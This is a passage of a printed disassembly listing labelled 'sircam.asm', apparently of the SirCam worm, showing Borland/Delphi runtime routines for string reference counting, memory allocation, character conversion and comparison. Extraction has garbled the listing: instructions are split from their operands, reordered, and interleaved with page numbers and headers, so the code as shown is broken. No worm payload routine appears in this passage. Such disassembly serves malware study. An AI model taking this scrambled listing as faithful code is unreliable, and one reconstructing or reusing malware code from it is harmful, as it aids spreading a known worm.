short loc_40344C
sub_404B10
eax, [ebx+10h]
edx, [eax+10h]
edx, [eax+4]
short loc_40344C
edx
j_FreeLibrary
loc_40342F:
; CODE XREF: sub_403390+98\030j
loc_40344C:
; CODE XREF: sub_403390+9D\030j
; sub_403390+A4\030j ...
call
cmp
jnz
call
sub_4031B8
byte ptr [ebx+24h], 1
short loc_40345A
dword ptr [ebx+28h]
cmp
jz
call
; CODE XREF: sub_403390+C5\030j
byte ptr [ebx+24h], 0
short loc_403465
sub_40335C
cmp
jnz
mov
push
call
; CODE XREF: sub_403390+CE\030j
dword ptr [ebx], 0
short loc_403472
eax, [esi]
eax
j_ExitProcess
loc_40345A:
loc_403465:
loc_403472:
sub_403390
75
; CODE XREF: sub_403390+D8\030j
mov
eax, [ebx]
push
esi
mov
esi, eax
mov
edi, ebx
mov
ecx, 0Bh
repe movsd
pop
esi
jmp
short loc_40340F
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
aPortionsCopyri db ’Portions Copyright (c) 1983,99 Borland’,0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pop
ebp
pop
edi
pop
esi
sircam.asm
Fri Aug 10 12:42:44 2001
76
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_4034B0:
; CODE XREF: sub_4034BC+6\031j
mov
ds:dword_41E030, eax
jmp
sub_403390
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4034BC
proc near
sub_4034BC
pop
jmp
endp
; CODE XREF: sub_402618+24\030j
; CODE:00402810\030j ...
ds:dword_41E038
loc_4034B0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4034C8
proc near
; CODE XREF: sub_4035B0+23\031p
; CODE:004035F6\031p ...
mov
edx, [eax]
test
edx, edx
jz
short locret_4034EA
mov
dword ptr [eax], 0
mov
ecx, [edx-8]
dec
ecx
jl
short locret_4034EA
lock dec
dword ptr [edx-8]
jnz
short locret_4034EA
push
eax
lea
eax, [edx-8]
call
sub_4025B0
pop
eax
locret_4034EA:
sub_4034C8
; CODE XREF: sub_4034C8+4\030j
; sub_4034C8+10\030j ...
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4034EC
proc near
push
push
mov
mov
loc_4034F2:
; CODE XREF: sub_403BE8+63\031p
; sub_4084A8+73B\031p ...
ebx
esi
ebx, eax
esi, edx
; CODE XREF: sub_4034EC+2A\031j
mov
edx, [ebx]
test
edx, edx
jz
short loc_403512
mov
dword ptr [ebx], 0
mov
ecx, [edx-8]
dec
ecx
jl
short loc_403512
lock dec
dword ptr [edx-8]
jnz
short loc_403512
sircam.asm
Fri Aug 10 12:42:44 2001
lea
call
eax, [edx-8]
sub_4025B0
loc_403512:
sub_4034EC
77
; CODE XREF: sub_4034EC+A\030j
; sub_4034EC+16\030j ...
add
dec
jnz
pop
pop
retn
endp
ebx, 4
esi
short loc_4034F2
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40351C
proc near
; CODE XREF: sub_40372C+8\031j
; sub_403770+6\031j ...
test
edx, edx
jz
short loc_403544
mov
ecx, [edx-8]
inc
ecx
jg
short loc_403540
push
eax
push
edx
mov
eax, [edx-4]
call
sub_40358C
mov
edx, eax
pop
eax
push
edx
mov
ecx, [eax-4]
call
sub_4026B0
pop
edx
pop
eax
jmp
short loc_403544
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403540:
; CODE XREF: sub_40351C+8\030j
dword ptr [edx-8]
lock inc
loc_403544:
; CODE XREF: sub_40351C+2\030j
; sub_40351C+22\030j
xchg
edx, [eax]
test
edx, edx
jz
short locret_40355E
mov
ecx, [edx-8]
dec
ecx
jl
short locret_40355E
lock dec
dword ptr [edx-8]
jnz
short locret_40355E
lea
eax, [edx-8]
call
sub_4025B0
locret_40355E:
sub_40351C
; CODE XREF: sub_40351C+2C\030j
; sub_40351C+32\030j ...
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403560
proc near
test
edx, edx
; CODE XREF: sub_408234+58\031p
; sub_4083A0+57\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
78
jz
short loc_40356E
mov
ecx, [edx-8]
inc
ecx
jle
short loc_40356E
lock inc
dword ptr [edx-8]
loc_40356E:
; CODE XREF: sub_403560+2\030j
; sub_403560+8\030j
xchg
edx, [eax]
test
edx, edx
jz
short locret_403588
mov
ecx, [edx-8]
dec
ecx
jl
short locret_403588
lock dec
dword ptr [edx-8]
jnz
short locret_403588
lea
eax, [edx-8]
call
sub_4025B0
locret_403588:
sub_403560
; CODE XREF: sub_403560+12\030j
; sub_403560+18\030j ...
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40358C
proc near
; CODE XREF: sub_40351C+F\030p
; sub_4035B0+B\031p ...
test
eax, eax
jle
short loc_4035AC
push
eax
add
eax, 9
call
sub_402598
add
eax, 8
pop
edx
mov
[eax-4], edx
mov
dword ptr [eax-8], 1
mov
byte ptr [eax+edx], 0
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4035AC:
sub_40358C
; CODE XREF: sub_40358C+2\030j
xor
retn
endp
eax, eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4035B0
proc near
push
push
push
mov
mov
mov
mov
call
mov
mov
test
jz
ebx
esi
edi
ebx, eax
esi, edx
edi, ecx
eax, edi
sub_40358C
ecx, edi
edi, eax
esi, esi
short loc_4035D1
; CODE XREF: sub_4026F0+66\030p
; sub_402768+28\030p ...
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
call
edx, eax
eax, esi
sub_4026B0
mov
call
mov
pop
pop
pop
retn
endp
eax, ebx
sub_4034C8
[ebx], edi
edi
esi
ebx
loc_4035D1:
sub_4035B0
79
; CODE XREF: sub_4035B0+16\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_4035E0:
; CODE XREF: CODE:004036E3\031j
; CODE:0040371B\031j
push
ebx
push
esi
push
edi
push
ebp
add
esp, 0FFFFF800h
mov
ebx, ecx
mov
ebp, edx
mov
edi, eax
test
ebx, ebx
jg
short loc_4035FD
mov
eax, edi
call
sub_4034C8
jmp
short loc_403664
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4035FD:
; CODE XREF: CODE:004035F2\030j
cmp
ebx, 400h
jge
short loc_403631
push
0
push
0
push
800h
lea
eax, [esp+0Ch]
push
eax
push
ebx
push
ebp
push
0
push
0
call
j_WideCharToMultiByte
mov
esi, eax
test
esi, esi
jle
short loc_403631
mov
edx, esp
mov
eax, edi
mov
ecx, esi
call
sub_4035B0
jmp
short loc_403664
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403631:
; CODE XREF: CODE:00403603\030j
; CODE:00403622\030j
push
push
push
push
push
push
push
push
call
mov
mov
0
0
0
0
ebx
ebp
0
0
j_WideCharToMultiByte
esi, eax
eax, edi
sircam.asm
Fri Aug 10 12:42:44 2001
mov
xor
call
push
push
push
mov
push
push
push
push
push
call
80
ecx, esi
edx, edx
sub_4035B0
0
0
esi
eax, [edi]
eax
ebx
ebp
0
0
j_WideCharToMultiByte
loc_403664:
; CODE XREF: CODE:004035FB\030j
; CODE:0040362F\030j
add
esp, 800h
pop
ebp
pop
edi
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403670
proc near
sub_403670
push
mov
mov
call
pop
retn
endp
; CODE XREF: sub_409024+8F\031p
; sub_409024+188\031p ...
edx
edx, esp
ecx, 1
sub_4035B0
edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403680
proc near
xor
test
jz
push
; CODE XREF: sub_404B80+48\031p
; sub_408234+111\031p ...
ecx, ecx
edx, edx
short loc_4036A7
edx
loc_403687:
; CODE XREF: sub_403680+1D\031j
cmp
cl, [edx]
jz
short loc_4036A2
cmp
cl, [edx+1]
jz
short loc_4036A1
cmp
cl, [edx+2]
jz
short loc_4036A0
cmp
cl, [edx+3]
jz
short loc_40369F
add
edx, 4
jmp
short loc_403687
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40369F:
; CODE XREF: sub_403680+18\030j
inc
edx
inc
edx
loc_4036A0:
; CODE XREF: sub_403680+13\030j
sircam.asm
Fri Aug 10 12:42:44 2001
loc_4036A1:
; CODE XREF: sub_403680+E\030j
inc
edx
mov
pop
sub
ecx, edx
edx
ecx, edx
jmp
endp
sub_4035B0
loc_4036A2:
; CODE XREF: sub_403680+9\030j
loc_4036A7:
sub_403680
81
; CODE XREF: sub_403680+4\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_4036B0:
; DATA XREF: CODE:004079EE\031o
xor
test
jz
push
ecx, ecx
edx, edx
short loc_4036E3
edx
loc_4036B7:
; CODE XREF: CODE:004036D1\031j
cmp
cx, [edx]
jz
short loc_4036DC
cmp
cx, [edx+2]
jz
short loc_4036D9
cmp
cx, [edx+4]
jz
short loc_4036D6
cmp
cx, [edx+6]
jz
short loc_4036D3
add
edx, 8
jmp
short loc_4036B7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4036D3:
; CODE XREF: CODE:004036CC\030j
add
edx, 2
add
edx, 2
add
edx, 2
mov
pop
sub
shr
ecx, edx
edx
ecx, edx
ecx, 1
loc_4036D6:
; CODE XREF: CODE:004036C6\030j
loc_4036D9:
; CODE XREF: CODE:004036C0\030j
loc_4036DC:
; CODE XREF: CODE:004036BA\030j
loc_4036E3:
; CODE XREF: CODE:004036B4\030j
jmp
loc_4035E0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4036EC
proc near
sub_4036EC
xor
mov
inc
jmp
endp
; CODE XREF: sub_40C560+3C\031p
; sub_40C63C+38\031p ...
ecx, ecx
cl, [edx]
edx
sub_4035B0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
82
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4036F8
proc near
; CODE XREF: sub_4071E0+58\031p
; sub_408234+98\031p ...
push
edi
push
eax
push
ecx
mov
edi, edx
xor
eax, eax
repne scasb
jnz
short loc_403705
not
ecx
loc_403705:
sub_4036F8
; CODE XREF: sub_4036F8+9\030j
pop
add
pop
pop
jmp
endp
eax
ecx, eax
eax
edi
sub_4035B0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403710:
; DATA XREF: CODE:004079F5\031o
; CODE:00407A08\031r
xor
test
jz
mov
shr
ecx, ecx
edx, edx
short loc_40371B
ecx, [edx-4]
ecx, 1
loc_40371B:
; CODE XREF: CODE:00403714\030j
jmp
loc_4035E0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403724
proc near
test
jz
mov
eax, eax
short locret_40372B
eax, [eax-4]
locret_40372B:
sub_403724
; CODE XREF: sub_403F9C+E\031p
; sub_403F9C+17\031p ...
; CODE XREF: sub_403724+2\030j
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40372C
proc near
test
jz
mov
test
jz
push
; CODE XREF: sub_403770+1D\031j
; sub_403770+6E\031j ...
edx, edx
short locret_40376F
ecx, [eax]
ecx, ecx
sub_40351C
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
mov
mov
mov
mov
add
cmp
jz
call
mov
mov
83
esi
edi
ebx, eax
esi, edx
edi, [ecx-4]
edx, [esi-4]
edx, edi
esi, ecx
short loc_403764
sub_4039FC
eax, esi
ecx, [esi-4]
loc_403757:
; CODE XREF: sub_40372C+41\031j
mov
edx, [ebx]
add
edx, edi
call
sub_4026B0
pop
edi
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403764:
; CODE XREF: sub_40372C+1F\030j
call
sub_4039FC
mov
eax, [ebx]
mov
ecx, edi
jmp
short loc_403757
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_40376F:
sub_40372C
; CODE XREF: sub_40372C+2\030j
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403770
proc near
; CODE XREF: sub_407324+5C\031p
; sub_40F3B4+A5\031p ...
test
edx, edx
jz
short loc_4037D5
test
ecx, ecx
jz
sub_40351C
cmp
edx, [eax]
jz
short loc_4037DC
cmp
ecx, [eax]
jz
short loc_403792
push
eax
push
ecx
call
sub_40351C
pop
edx
pop
eax
jmp
sub_40372C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403792:
; CODE XREF: sub_403770+12\030j
push
push
push
mov
mov
push
mov
add
call
mov
mov
mov
mov
ebx
esi
edi
ebx, edx
esi, ecx
eax
eax, [ebx-4]
eax, [esi-4]
sub_40358C
edi, eax
edx, eax
eax, ebx
ecx, [ebx-4]
sircam.asm
Fri Aug 10 12:42:44 2001
call
mov
mov
mov
add
call
pop
mov
test
jz
dec
84
sub_4026B0
edx, edi
eax, esi
ecx, [esi-4]
edx, [ebx-4]
sub_4026B0
eax
edx, edi
edi, edi
short loc_4037CC
dword ptr [edi-8]
loc_4037CC:
; CODE XREF: sub_403770+57\030j
call
sub_40351C
pop
edi
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4037D5:
; CODE XREF: sub_403770+2\030j
mov
edx, ecx
jmp
sub_40351C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4037DC:
sub_403770
; CODE XREF: sub_403770+E\030j
mov
jmp
endp
edx, ecx
sub_40372C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4037E4
proc near
arg_0
= byte ptr
; CODE XREF: sub_40A020+27B\031p
; sub_40A020+298\031p ...
14h
push
push
push
push
mov
xor
ebx
esi
edx
eax
ebx, edx
eax, eax
mov
test
jz
add
; CODE XREF: sub_4037E4+14\031j
ecx, [esp+edx*4+10h]
ecx, ecx
short loc_4037F7
eax, [ecx-4]
dec
jnz
call
push
mov
edx
short loc_4037EC
sub_40358C
eax
esi, eax
mov
mov
test
jz
mov
add
call
; CODE XREF: sub_4037E4+33\031j
eax, [esp+ebx*4+14h]
edx, esi
eax, eax
short loc_403816
ecx, [eax-4]
esi, ecx
sub_4026B0
loc_4037EC:
loc_4037F7:
; CODE XREF: sub_4037E4+E\030j
loc_403802:
sircam.asm
Fri Aug 10 12:42:44 2001
loc_403816:
dec
jnz
pop
pop
test
jz
dec
loc_403822:
sub_4037E4
call
pop
pop
pop
pop
lea
jmp
endp
85
; CODE XREF: sub_4037E4+26\030j
ebx
short loc_403802
edx
eax
edx, edx
short loc_403822
dword ptr [edx-8]
; CODE XREF: sub_4037E4+39\030j
sub_40351C
edx
esi
ebx
eax
esp, [esp+edx*4+0FFFFFFECh+arg_0]
eax
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403834
proc near
push
push
push
mov
mov
cmp
jz
test
jz
test
jz
mov
mov
sub
ja
add
ebx
esi
edi
esi, eax
edi, edx
eax, edx
loc_4038D2
esi, esi
short loc_4038AF
edi, edi
short loc_4038B6
eax, [esi-4]
edx, [edi-4]
eax, edx
short loc_403857
edx, eax
push
shr
jz
edx
edx, 2
short loc_403883
; CODE XREF: sub_40C960+6B\031p
; sub_40F998+8B\031p ...
loc_403857:
; CODE XREF: sub_403834+1F\030j
loc_40385D:
; CODE XREF: sub_403834+45\031j
mov
ecx, [esi]
mov
ebx, [edi]
cmp
ecx, ebx
jnz
short loc_4038BD
dec
edx
jz
short loc_40387D
mov
ecx, [esi+4]
mov
ebx, [edi+4]
cmp
ecx, ebx
jnz
short loc_4038BD
add
esi, 8
add
edi, 8
dec
edx
jnz
short loc_40385D
jmp
short loc_403883
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40387D:
; CODE XREF: sub_403834+32\030j
sircam.asm
Fri Aug 10 12:42:44 2001
add
add
86
esi, 4
edi, 4
loc_403883:
; CODE XREF: sub_403834+27\030j
; sub_403834+47\030j
pop
and
jz
mov
mov
cmp
jnz
dec
jz
cmp
jnz
dec
jz
and
and
cmp
jnz
edx
edx, 3
